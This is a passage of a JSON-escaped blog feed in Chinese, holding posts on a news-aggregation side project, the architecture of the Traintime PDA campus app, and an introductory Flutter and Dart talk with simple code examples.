class=\"err\"\u003e其中\u003c/span\u003e \u003cspan class=\"err\"\u003ekey\u003c/span\u003e \u003cspan class=\"err\"\u003e是上述提到的后面查询使用的\u003c/span\u003e \u003cspan class=\"err\"\u003ekey,p\u003c/span\u003e \u003cspan class=\"err\"\u003e指上面文章列表中第几个文章\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 文章标题,来源链接,发布时间,内容\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 注意内容是和前面所述老网站网页输出是一样的,也就是图片,视频等会被隐藏掉\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;title\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Flutter 介绍\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;link\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.top/p/flutter-introduction.html\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1682726400\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;content\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Omit here.\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我在 Traintime PDA 里面的相关分页也写了相关页面,还明白了 PageView 如何保存状态,每天一个编程小常识这就是?\u003c/p\u003e\n\u003ch3 id=\"后面的胡说阶段\"\u003e后面的胡说阶段\u003c/h3\u003e\n\u003cp\u003e我把这个服务挂在了我的服务器上,还上新了一些外网著名媒体。没敢上那些明显危险的,我感觉这些媒体都算是比较中立的吧:-P\u003c/p\u003e\n\u003cp\u003e顺便想说几句 PHP 开发,我写了一个文件,然后调试方式只能传到服务器,然后看 nginx 的 log。魔改体验比较痛苦:-P\u003c/p\u003e\n\u003cp\u003e对于新闻,作为一个看了十年中央十三台的人来说,我有点无法理解拿新闻看乐子的人的想法。虽然这个方式确实是给了我这个老木头一点亮光。比如说,前几天是故日本首相安倍晋三被刺杀一周年纪念日,我作为严肃看新闻的,去看现任首相岸田文雄去纪念,然后继续不顾周边国家骂街去放核污水。但是有人说“日本JK被摔倒一周年纪念日”,我总觉得有点无语,倒也觉得正常。\u003c/p\u003e\n\u003cp\u003e但我发现,有些时候真的有点太过了。比如说俄乌战争,本来我去网上只是去看战争状况,然后就是无论从那个角度,都是“俄罗斯粉丝”和“乌克兰粉丝”互相隔空输出,顺便拿乌克兰找乐啥的。我总觉得拿人被欺负开玩笑很不合适,虽然这件事本身很复杂,没有任何人是无辜的。虽然我早就接触过楼下老大爷天天建政,也算“身经百战”,但是我感觉,这可是一个了解世界,了解想法很重要的渠道,就这么当作乐子,真的有点不太合适。\u003c/p\u003e\n\u003cp\u003e我希望看到的是对一个事件有调查,有分析,有结论的东西,这样无论如何至少都能骂两句(不是)。而不是“今天澳大利亚又刮起了沙尘暴,养羊的少了几只羊,估计是走失了”这样的短视频。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/xdu-planet-acquaintance.html"},{"title":"Traintime PDA 架构设计","time":"2023-06-06T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/XDYou_SAD/general_structure.png\" alt=\"Featured image of post Traintime PDA 架构设计 \" /\u003e\u003cp\u003eXDYou 就算 Traintime PDA 别称了。\u003c/p\u003e\n\u003ch2 id=\"整体架构设计\"\u003e整体架构设计\u003c/h2\u003e\n\u003cp\u003e由于本程序是一个信息查询工具,其基本是围绕数据运转的,所以我打算使用仓库架构。这个图作为一个大致的示例。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/XDYou_SAD/repo.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/XDYou_SAD/repo.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e但光靠一个“仓库”是无法维护本程序如此多类型的信息的,你现实中的仓库还得找个管理呢。因此我借鉴了构件系统的想法,把仓库里面的东西分成以下几个“部件”。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/XDYou_SAD/components.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/XDYou_SAD/components.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e仓库结构解决了我们如何管理我们复杂的数据,但是我们的程序是一个 GUI 程序。也就是说,这个程序有两个部分,一个是数据,一个是显示数据的东西。数据相当于仓库,而 GUI 是用来向仓库请求数据,并显示数据的部分。仓库返回数据的时候,肯定需要一些处理,这个东西就是控制器,是我们程序仓库的一大组成 部分,我将会在下面讲述。\n这个架构有个名称,叫做 MVC 架构,在此引入我在\u003ca class=\"link\" href=\"https://legacy.superbart.top/writing/Flutter%20Introduction.html\" target=\"_blank\" rel=\"noopener\"\n \u003eFlutter 介绍\u003c/a\u003e里面提到的东西:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e我先给大家介绍 MVC 架构,Model 模型,是说程序的功能。控制器是和视图View进行交流,View视图就是显示了。View 通过 Controller 获取 Model 中的东西。\n以下这段展示的是我程序对应的模型各组成的部分。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/XDYou_SAD/simple_structure.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/XDYou_SAD/simple_structure.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e这个架构也可以看作是一种流水线结构,其中控制器相当于一种过滤器。接下来我会专门开一章简介一下。\n同时,我们可以看出我们程序的层级结构,数据大致是从中心往外围传递的。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/XDYou_SAD/level.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/XDYou_SAD/level.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch2 id=\"控制器\"\u003e控制器\u003c/h2\u003e\n\u003cp\u003e我上文提到,控制器负责中转 GUI(也就是视图)的请求,处理后端传回来的数据。这个有两种实现方式,分别是观察式和控制器类式。\u003c/p\u003e\n\u003ch3 id=\"观察式\"\u003e观察式\u003c/h3\u003e\n\u003cp\u003e第一个是观察式,适用于数据单向流动,数据加工相对简单的情况。这种情况下,这个部件的数据流动遵循标准的数据流架构。这个过程中,由于数据的单向移动和最终 UI 的被动更新,我们可以认为是 UI \u003cstrong\u003e观察\u003c/strong\u003e数据改变。在这种情况下,数据更新依赖于其他部件的更新请求是不是顾及到了这个部件,比如说主页的全局刷新。\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/XDYou_SAD/observe.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/XDYou_SAD/observe.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch3 id=\"控制器类式\"\u003e控制器类式\u003c/h3\u003e\n\u003cp\u003e第二个是控制器类式,不仅适用于数据加工十分复杂的情况,而且适用于需要视图发出更新请求的情况。在这个情况下,数据的流动不是单纯的单向,而是双向的。而且由于涉及到很多信息,还有很多部件都依赖于一个信息源,这个控制器使用一个类的方式实现比较合适。\n在我的程序中,课表信息是用这个实现的,因为课表信息相当综合,而且很多视图依赖于课表信息。\n我的课表信息包括:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e当前周次信息\u003c/li\u003e\n\u003cli\u003e课程信息\u003c/li\u003e\n\u003cli\u003e课程的时间安排信息\u003c/li\u003e\n\u003cli\u003e根据上面两个信息,预先计算好的按照时间排序的课表信息\u003c/li\u003e\n\u003cli\u003e当前课程信息\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e依赖课表信息的视图有:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课程表窗口,这个只是单向接受课表信息\u003c/li\u003e\n\u003cli\u003e首页的周次信息显示,单向接受周次信息\u003c/li\u003e\n\u003cli\u003e首页的当前课程卡片,这个不仅可以展示当前课程信息,还可以触发重新加载\u003c/li\u003e\n\u003cli\u003e首页重新加载包括重新加载课表\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e具体图示请看下面总结图中的课表相关部分。\u003c/p\u003e\n\u003ch2 id=\"自行管理状态\"\u003e自行管理状态\u003c/h2\u003e\n\u003cp\u003e虽然很多数据是遵循上面提到的控制器(数据流)系统。我程序有两个数据是自行管理的,也就是说,他不需要上面提到的管道,而是自行管理。因为这些数据依赖于之前已经获取到的数据。我的程序有两个部分是自行管理的:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e查询成绩中,自行选择科目计算均分,这个均分状态是由成绩查询窗口维护的。查询窗口维护一个成绩数组,自己检测选中的科目,然后计算显示。\u003c/li\u003e\n\u003cli\u003e查询打卡成绩中,我们需要维护一个布尔变量,他用来决定显示的是所有记录还是成功记录。显然,这需要依赖于已经返回的数据。大家可以类比为 js 里面对数组进行 filter 操作。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e上面两章想了解更多,可以看\u003ca class=\"link\" href=\"https://legacy.superbart.top/writing/Flutter%20Introduction.html\" target=\"_blank\" rel=\"noopener\"\n \u003eFlutter 介绍\u003c/a\u003e文章中 Flutter 内部的状态管理章节。\u003c/p\u003e\n\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\n\u003cp\u003e最后,我们根据分类,看出以下按照部件和数据流动看出来的布局。其中,横线表示这两个在程序中是紧密相关的,箭头代表了数据流动的方向。紫色的是控制器,蓝绿色的是最终的窗口。\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/XDYou_SAD/general_structure.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/XDYou_SAD/general_structure.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n我们程序的架构是这样的:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e程序是围绕数据运转的,所以总体上遵循仓库架构,其中仓库分成若干组件。\u003c/li\u003e\n\u003cli\u003e各个组件有一条数据流的线性传递方式,控制器作为数据源,也就是仓库,和最终显示组件之间的过滤器和中转站。\u003c/li\u003e\n\u003cli\u003e大致可以看作数据-控制器-界面的三层结构。\u003c/li\u003e\n\u003c/ul\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/xdyou-sad.html"},{"title":"Flutter 介绍","time":"2023-04-29T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/Flutter%20Introduction/Maggie's%20Butterfly%20Longest%20Daycard%20Short.jpg\" alt=\"Featured image of post Flutter 介绍\" /\u003e\u003cp\u003e有人邀请我去开个沙龙,我决定将这个,这个就是当时我的演讲稿。\u003c/p\u003e\n\u003ch2 id=\"什么是-flutter--flutter-的好处\"\u003e什么是 Flutter \u0026amp; Flutter 的好处\u003c/h2\u003e\n\u003cp\u003eFlutter 是一个跨平台的客户端(以及网络前端)开发工具,官方定义为:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eFlutter 是 Google 开源的应用开发框架,仅通过一套代码库,就能构建精美的、原生平台编译的多平台应用。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e鉴于入门介绍,我就说的明白些。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e这玩意是用来写客户端程序的,也就是面向用户的程序。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这个东西能够为很多平台生成应用,尽量做到了“平台无关”。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这个东西上手比较简单,性能比较高,开发效率很高。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e目前这个和 React Native 并列两大最流行的跨平台开发平台。而 React Native 还是占用了 React 前端开发框架(Flutter 受 React 影响很大)的优势,Flutter 相比之下就比较小众了,找工作不太好找:-P\u003c/p\u003e\n\u003cp\u003e对我而言,有了 Flutter 的基础,后面要适应其他的类似框架就方便多了。最近我被(zi)人(ji)拉(zhao)过(shi)去(qing)写 vue 去了,我之前没有接触过。但是我稍微看了一下 vue 组合式的教程,就能给人打下手了。CSS 我现在还不会,感觉要会了,我就又会了一个框架(逃)。\u003c/p\u003e\n\u003ch2 id=\"dart-语言介绍\"\u003eDart 语言介绍\u003c/h2\u003e\n\u003cp\u003eFlutter 使用的是 Dart 语言,目前是 Google 专门为 Flutter 设计的语言,因为我根本没找到任何在其他方面用 Dart 编程的例子。而且这玩意曾经还想嵌入到 Chrome\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003ch3 id=\"dart--javascript--java\"\u003eDart = Javascript + Java\u003c/h3\u003e\n\u003cp\u003e语法像 Javascript,运行时环境像 Java。\u003c/p\u003e\n\u003cp\u003e像 Javascript 在于存在箭头函数,函数变量之类。Dart 对异步的实现 Future 也借鉴了 JS 的 Promise。因为 Dart 设计的时候,对标的就是 JavaScript。\u003c/p\u003e\n\u003cp\u003e而运行环境像 Java,因为他的类设计,编译和运行也很像 Java。类的方面下面会说明。\u003c/p\u003e\n\u003cp\u003eDart 代码的运行有三种方式:一种是直接解释,一种是转码成 Javascript ,一种是编译成 DartVM 虚拟机机器码,然后在 DartVM 里面运行。最后一种有一种 Java VM 的既视感讲道理:-P\u003c/p\u003e\n\u003cp\u003e上面三种方式对应了 Flutter 的开发:调试开发,网页开发,客户端程序。\u003c/p\u003e\n\u003ch3 id=\"给点例子吧\"\u003e给点例子吧\u003c/h3\u003e\n\u003ch4 id=\"基本\"\u003e基本\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Dart 是强类型语言,但是支持类型推断\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003elineCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 循环,判断和 C 和 JS 一样\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eweLikeToCount\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003elineCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecountLines\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003elineCount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elineCount\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"函数\"\u003e函数\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 普通函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003efibonacci\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003efibonacci\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003efibonacci\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 箭头函数(和 JS 的有点区别)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003efib\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003efib\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"n\"\u003efib\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 另一个使用例子 (e) =\u0026gt; print(e))\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003enums\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"m\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003enums\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"类\"\u003e类\u003c/h4\u003e\n\u003cp\u003e这玩意东西太多了,我就光码字吧:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e类的成员默认都是公共成员,私有成员是在变量名前加 \u003ccode\u003e_\u003c/code\u003e号,有\u003ccode\u003e@protected\u003c/code\u003e宏。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eDart 的类是单向继承,支持接口类\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e支持 abstract 抽象类,也就是需要继承来实现的类\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"异步方法\"\u003e异步方法\u003c/h4\u003e\n\u003cp\u003e先来个定义\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e异步是在很多领域都有的概念,在编程中,是相对于同步的。同步就是一条指令一条指令,按顺序执行。异步则可以同时运行多个任务,执行任务的时候,可以先返回一个“包含进度的实例”。然后有“回调函数”来把该实例中执行的状态返回。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eDart 的异步叫 \u003ccode\u003eFuture\u0026lt;T\u0026gt;\u003c/code\u003e,其中 T 